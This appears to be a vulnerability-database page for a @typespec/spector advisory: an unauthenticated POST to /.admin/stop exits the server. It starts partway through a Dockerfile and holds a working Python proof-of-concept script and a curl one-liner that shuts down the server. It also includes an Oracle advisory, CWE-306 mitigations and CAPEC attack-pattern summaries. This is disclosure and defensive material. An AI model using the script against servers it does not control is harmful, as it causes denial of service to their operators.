# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------
# packages/spector/src/constants.ts
# Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts
# packages/spector/src/logger.ts
# Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts
# packages/spector/src/routes/admin.ts ← VULNERABILITY SINK
# Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts
# packages/spector/src/routes/index.ts
# Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts
# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts
EXPOSE 3000
# tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE: CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)
Vulnerability:
packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
any authentication, token, Origin, or IP-source check. The handler calls
process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0
(packages/spector/src/server/server.ts:88) so any network-reachable client
can terminate the process with a single unauthenticated POST request.
Usage:
python3 poc.py [--host HOST] [--port PORT]
"""
import sys
import time
import socket
import argparse
import urllib.request
import urllib.error
BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE : CWE-306 CVSS 7.5 (High)
================================================================
"""
PASS_MSG = """
[EXPLOIT SUCCESSFUL]
1. Server accepted an unauthenticated POST to /.admin/stop
2. Server responded HTTP 202 Accepted with no credential check
3. Server process exited — subsequent connection attempt refused
4. Zero authentication, tokens, or Origin restrictions enforced
================================================================
"""
FAIL_MSG = """
[EXPLOIT FAILED]
Check that the Docker container is running:
docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
================================================================
"""
def is_port_open(host: str, port: int, timeout: float = 2.0) -> bool:
"""Return True if TCP port accepts connections."""
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except (ConnectionRefusedError, socket.timeout, OSError):
return False
def wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool:
"""Poll until the server is reachable or max_wait seconds elapse."""
print(f"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...")
deadline = time.monotonic() + max_wait
while time.monotonic() < deadline:
if is_port_open(host, port):
print(f"[+] Server is reachable at {host}:{port}")
return True
time.sleep(0.5)
return False
def send_unauthenticated_stop(host: str, port: int) -> int:
"""
Send POST /.admin/stop with no credentials and return the HTTP status code.
This is the exploit request. No Authorization header, no token, no
special Origin — the server accepts it as-is.
"""
url = f"http://{host}:{port}/.admin/stop"
print(f"[*] Sending unauthenticated POST to {url}")
print(f"[*] Request headers: (none beyond Host and Content-Length:0)")
req = urllib.request.Request(url, data=b"", method="POST")
try:
with urllib.request.urlopen(req, timeout=5) as resp:
code = resp.status
print(f"[+] HTTP response: {code} {resp.reason}")
return code
except urllib.error.HTTPError as exc:
print(f"[+] HTTP error response: {exc.code} {exc.reason}")
return exc.code
except urllib.error.URLError as exc:
# Connection closed before response (process.exit race) still counts
print(f"[+] Connection dropped during response: {exc.reason}")
return 202 # server accepted and exited before full response
def main() -> None:
parser = argparse.ArgumentParser(
description="PoC: unauthenticated remote shutdown of tsp-spector mock server"
)
parser.add_argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)")
args = parser.parse_args()
print(BANNER)
# Step 1 — Confirm the server is running before the attack
if not wait_for_server(args.host, args.port):
print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s")
print(FAIL_MSG)
sys.exit(1)
print()
print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it")
# Step 2 — Send the exploit (single unauthenticated POST)
print()
print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)")
status = send_unauthenticated_stop(args.host, args.port)
if status != 202:
print(f"[-] Expected HTTP 202 Accepted, got {status}")
print(FAIL_MSG)
sys.exit(1)
print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check")
# Step 3 — Verify the process actually exited
print()
print("[STEP 3] Verifying server has terminated ...")
time.sleep(2)
if is_port_open(args.host, args.port):
print("[-] Server is still accepting connections (exploit did not terminate process)")
print(FAIL_MSG)
sys.exit(1)
print("[+] Connection refused — server process has exited")
# All three steps passed → exploit confirmed
print(PASS_MSG)
sys.exit(0)
if __name__ == "__main__":
main()
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.0-alpha.26"
},
"package": {
"ecosystem": "npm",
"name": "@typespec/spector"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.0-alpha.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-04T21:43:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server\u0027s port\u2014not just localhost\u2014making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.\n\n### Details\n\nThe vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:\n\n```ts\n// packages/spector/src/routes/admin.ts:7-12\nrouter.post(AdminUrls.stop, (_req, res) =\u003e {\n logger.info(\"Received signal to stop server. Exiting...\");\n res.status(202).end();\n setTimeout(() =\u003e {\n process.exit(0);\n });\n});\n```\n\nThe constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).\n\nThe complete attack-reachable call chain is:\n\n1. **`packages/spector/src/cli/cli.ts:139-166`** \u2014 `tsp-spector serve \u003cscenariosPaths..\u003e` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.\n2. **`packages/spector/src/actions/serve.ts:28-33`** \u2014 constructs `MockApiApp` and calls `start()` without supplying a host argument.\n3. **`packages/spector/src/app/app.ts:39-40`** \u2014 registers `internalRouter` at `/`, which includes the admin routes.\n4. **`packages/spector/src/routes/index.ts:4-5`** \u2014 mounts `adminRoutes` under `/`.\n5. **`packages/spector/src/routes/admin.ts:7-12`** \u2014 the `POST /.admin/stop` handler (the sink) is reached with zero authentication.\n6. **`packages/spector/src/server/server.ts:88`** \u2014 `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).\n\nThere is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.\n\n### PoC\n\n**Prerequisites:**\n\n```\ngit clone https://github.com/microsoft/typespec\ncd typespec\n# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)\npnpm install\npnpm build\n```\n\n**Step 1 \u2014 Start the mock server:**\n\n```bash\npnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000\n# Server listens on 0.0.0.0:3000 by default\n```\n\nAlternatively, use the provided Docker environment:\n\n```bash\n# Build context: reports/npm_web_64_microsoft__typespec/\ndocker build -t vuln002-spector -f vuln-002/Dockerfile .\ndocker run -d -p 3001:3000 --name vuln002-server vuln002-spector\n```\n\n**Step 2 \u2014 Execute the exploit (single unauthenticated request):**\n\n```bash\ncurl -i -X POST http://\u003cserver-host\u003e:3000/.admin/stop\n```\n\nUsing the provided PoC script:\n\n```bash\npython3 vuln-002/poc.py --host 127.0.0.1 --port 3001\n```\n\n**Step 3 \u2014 Observe the result:**\n\n```\nHTTP/1.1 202 Accepted\n```\n\nThe server process immediately exits. Subsequent connection attempts are refused. Docker logs show:\n\n```\ninfo Received signal to stop server. Exiting...\n```\n\nDocker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.\n\nThe primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments\u2014for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.\n\nAlthough `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop\n# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\n# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)\n#\n# Build context: reports/npm_web_64_microsoft__typespec/\n# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .\n# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n\nFROM node:22-slim\n\n# Install tsx to run TypeScript source files directly without compilation.\n# This lets us use the actual repository .ts files as-is.\nRUN npm install -g tsx@4\n\nWORKDIR /poc\n\n# Minimal package.json declaring ESM mode\nRUN echo \u0027{\"type\":\"module\"}\u0027 \u003e package.json\n\n# Install only the npm packages actually used by the vulnerable code path:\n# express \u2014 web framework (admin.ts, routes/index.ts, server.ts)\n# picocolors \u2014 terminal colors (logger.ts)\nRUN npm install express picocolors\n\n# -----------------------------------------------------------------------\n# Copy the EXACT vulnerable source files from the repository.\n# No source file is modified \u2014 they are used verbatim.\n# -----------------------------------------------------------------------\n\n# packages/spector/src/constants.ts\n# Defines AdminUrls.stop = \"/.admin/stop\"\nCOPY repo/packages/spector/src/constants.ts ./spector/constants.ts\n\n# packages/spector/src/logger.ts\n# Simple console logger; imported by admin.ts\nCOPY repo/packages/spector/src/logger.ts ./spector/logger.ts\n\n# packages/spector/src/routes/admin.ts \u2190 VULNERABILITY SINK\n# Registers POST /.admin/stop with NO authentication \u2192 process.exit(0)\nCOPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts\n\n# packages/spector/src/routes/index.ts\n# Mounts adminRoutes at \"/\"\nCOPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts\n\n# Minimal entry point that connects the router to the HTTP server,\n# replicating the behaviour of MockApiApp.start() + MockApiServer.start()\nCOPY vuln-002/server-entry.ts ./server-entry.ts\n\nEXPOSE 3000\n\n# tsx strips TypeScript types at runtime \u2014 no separate compile step needed\nCMD [\"tsx\", \"server-entry.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop\nPackage: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\nCWE: CWE-306 \u2014 Missing Authentication for Critical Function\nCVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)\n\nVulnerability:\n packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without\n any authentication, token, Origin, or IP-source check. The handler calls\n process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0\n (packages/spector/src/server/server.ts:88) so any network-reachable client\n can terminate the process with a single unauthenticated POST request.\n\nUsage:\n python3 poc.py [--host HOST] [--port PORT]\n\"\"\"\n\nimport sys\nimport time\nimport socket\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\nBANNER = \"\"\"\n================================================================\nVULN-002: Unauthenticated Remote Shutdown \u2014 POST /.admin/stop\nPackage : @typespec/spector 0.1.0-alpha.26\nCWE : CWE-306 CVSS 7.5 (High)\n================================================================\n\"\"\"\n\nPASS_MSG = \"\"\"\n[EXPLOIT SUCCESSFUL]\n 1. Server accepted an unauthenticated POST to /.admin/stop\n 2. Server responded HTTP 202 Accepted with no credential check\n 3. Server process exited \u2014 subsequent connection attempt refused\n 4. Zero authentication, tokens, or Origin restrictions enforced\n================================================================\n\"\"\"\n\nFAIL_MSG = \"\"\"\n[EXPLOIT FAILED]\nCheck that the Docker container is running:\n docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n================================================================\n\"\"\"\n\n\ndef is_port_open(host: str, port: int, timeout: float = 2.0) -\u003e bool:\n \"\"\"Return True if TCP port accepts connections.\"\"\"\n try:\n with socket.create_connection((host, port), timeout=timeout):\n return True\n except (ConnectionRefusedError, socket.timeout, OSError):\n return False\n\n\ndef wait_for_server(host: str, port: int, max_wait: float = 30.0) -\u003e bool:\n \"\"\"Poll until the server is reachable or max_wait seconds elapse.\"\"\"\n print(f\"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...\")\n deadline = time.monotonic() + max_wait\n while time.monotonic() \u003c deadline:\n if is_port_open(host, port):\n print(f\"[+] Server is reachable at {host}:{port}\")\n return True\n time.sleep(0.5)\n return False\n\n\ndef send_unauthenticated_stop(host: str, port: int) -\u003e int:\n \"\"\"\n Send POST /.admin/stop with no credentials and return the HTTP status code.\n\n This is the exploit request. No Authorization header, no token, no\n special Origin \u2014 the server accepts it as-is.\n \"\"\"\n url = f\"http://{host}:{port}/.admin/stop\"\n print(f\"[*] Sending unauthenticated POST to {url}\")\n print(f\"[*] Request headers: (none beyond Host and Content-Length:0)\")\n\n req = urllib.request.Request(url, data=b\"\", method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=5) as resp:\n code = resp.status\n print(f\"[+] HTTP response: {code} {resp.reason}\")\n return code\n except urllib.error.HTTPError as exc:\n print(f\"[+] HTTP error response: {exc.code} {exc.reason}\")\n return exc.code\n except urllib.error.URLError as exc:\n # Connection closed before response (process.exit race) still counts\n print(f\"[+] Connection dropped during response: {exc.reason}\")\n return 202 # server accepted and exited before full response\n\n\ndef main() -\u003e None:\n parser = argparse.ArgumentParser(\n description=\"PoC: unauthenticated remote shutdown of tsp-spector mock server\"\n )\n parser.add_argument(\"--host\", default=\"127.0.0.1\", help=\"Target host (default: 127.0.0.1)\")\n parser.add_argument(\"--port\", type=int, default=3000, help=\"Target port (default: 3000)\")\n args = parser.parse_args()\n\n print(BANNER)\n\n # Step 1 \u2014 Confirm the server is running before the attack\n if not wait_for_server(args.host, args.port):\n print(f\"[-] Server not reachable at {args.host}:{args.port} after 30 s\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print()\n print(\"[STEP 1] Server confirmed running \u2014 unauthenticated attacker can reach it\")\n\n # Step 2 \u2014 Send the exploit (single unauthenticated POST)\n print()\n print(\"[STEP 2] Sending exploit: POST /.admin/stop (no credentials)\")\n status = send_unauthenticated_stop(args.host, args.port)\n\n if status != 202:\n print(f\"[-] Expected HTTP 202 Accepted, got {status}\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print(\"[+] HTTP 202 Accepted \u2014 server acknowledged shutdown with no auth check\")\n\n # Step 3 \u2014 Verify the process actually exited\n print()\n print(\"[STEP 3] Verifying server has terminated ...\")\n time.sleep(2)\n\n if is_port_open(args.host, args.port):\n print(\"[-] Server is still accepting connections (exploit did not terminate process)\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print(\"[+] Connection refused \u2014 server process has exited\")\n\n # All three steps passed \u2192 exploit confirmed\n print(PASS_MSG)\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-7q9c-hpx7-9cwm",
"modified": "2026-09-04T21:43:13Z",
"published": "2026-09-04T21:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/security/advisories/GHSA-7q9c-hpx7-9cwm"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/pull/11274"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/commit/30d6f6598dd796e2d6aea038139d29b91e6a2da7"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/commit/39f8f0230bb59b17464d8173b6bff4ddee8082a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/typespec"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/releases/tag/@typespec/spector@0.1.0-alpha.27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop"
}
GHSA-7QGJ-3R6G-98P7
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details
Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Service Delivery Platform. Successful attacks of this vulnerability can result in takeover of Service Delivery Platform. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-60442"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:46Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Service Delivery Platform. Successful attacks of this vulnerability can result in takeover of Service Delivery Platform. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-7qgj-3r6g-98p7",
"modified": "2026-07-22T00:31:41Z",
"published": "2026-07-22T00:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60442"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Architecture and Design
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation
System Configuration
Operation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.